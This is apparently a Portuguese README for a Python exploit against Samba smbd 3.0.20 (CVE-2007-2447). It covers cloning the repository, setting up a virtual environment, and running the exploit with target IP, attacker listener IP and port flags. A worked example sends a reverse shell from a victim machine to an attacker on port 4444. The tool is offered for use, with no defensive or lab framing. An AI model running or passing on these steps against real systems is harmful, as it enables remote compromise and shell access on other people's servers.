
Exploit em Python para Samba smbd 3.0.20 (CVE-2007-2447) que permite execução remota de comandos e shell reverso por meio de requisições SMB elaboradas.
Este repositório contém um exploit para Samba smbd 3.0.20 (CVE-2007-2447) que permite execução remota de comandos por meio de solicitações SMB maliciosas.
Este exploit requer Python 3 e algumas dependências. Recomenda-se configurar um ambiente virtual antes de executar o exploit.
Clone o repositório:
git clone https://github.com/your-repo/CVE-2007-2447.git
cd CVE-2007-2447
Crie um ambiente virtual Python:
python3 -m venv smb_env
source smb_env/bin/activate # Linux/macOS
(Usuários de Windows podem ativar usando: smb_env\Scripts\activate)
Instale as dependências necessárias:
pip install -r requirements.txt
Depois que o ambiente virtual estiver configurado, você pode executar o exploit usando a seguinte sintaxe:
python3 CVE-2007-2447.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
python3 CVE-2007-2447.py -t 192.168.1.100 -a 192.168.1.50 -p 4444
-t / --target: endereço IP da máquina alvo (vítima).-a / --attacker: endereço IP do listener do atacante.-p / --port: porta para estabelecer a conexão de shell reverso.Quando terminar, desative o ambiente virtual usando:
deactivate